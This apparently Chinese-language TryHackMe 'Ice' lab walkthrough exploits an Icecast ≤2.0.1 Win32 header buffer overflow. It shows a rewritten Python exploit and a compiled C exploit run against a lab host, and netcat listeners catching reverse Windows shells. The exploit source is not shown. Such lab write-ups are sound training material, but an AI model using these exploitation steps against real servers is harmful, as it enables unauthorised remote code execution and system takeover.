Python 3 Icecast 标头覆盖缓冲区溢出 RCE < 2.0.1 (Win32),根据此 Metasploit 模块 重写。我根据 Metasploit 模块重写了此漏洞利用,因为我无法让 此 exploit 工作。
将反向 shell shellcode 替换到 exploit 中,然后使用远程服务器和端口作为参数调用它。
root@Kali:~/TryHackme/Ice# ./icecast.py 192.168.92.133 8000
完成!
反向 shell 监听器:
root@Kali:~/TryHackme/Ice# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49211
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Program Files (x86)\Icecast2 Win32>
成功使 原始 exploit 工作。根据 此内容 进行了编辑。
root@Kali:~/TryHackme/Ice# gcc 568-edit.c -o 568
root@Kali:~/TryHackme/Ice# ./568 192.168.92.133
Icecast <= 2.0.1 Win32 remote code execution 0.1
by Luigi Auriemma
e-mail: [email protected]
web:http://aluigi.altervista.org
shellcode add-on by Delikon
www.delikon.de
- target 192.168.92.133:8000
- send malformed data
Server IS vulnerable!!!
在监听器处
root@Kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49238
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Program Files (x86)\Icecast2 Win32>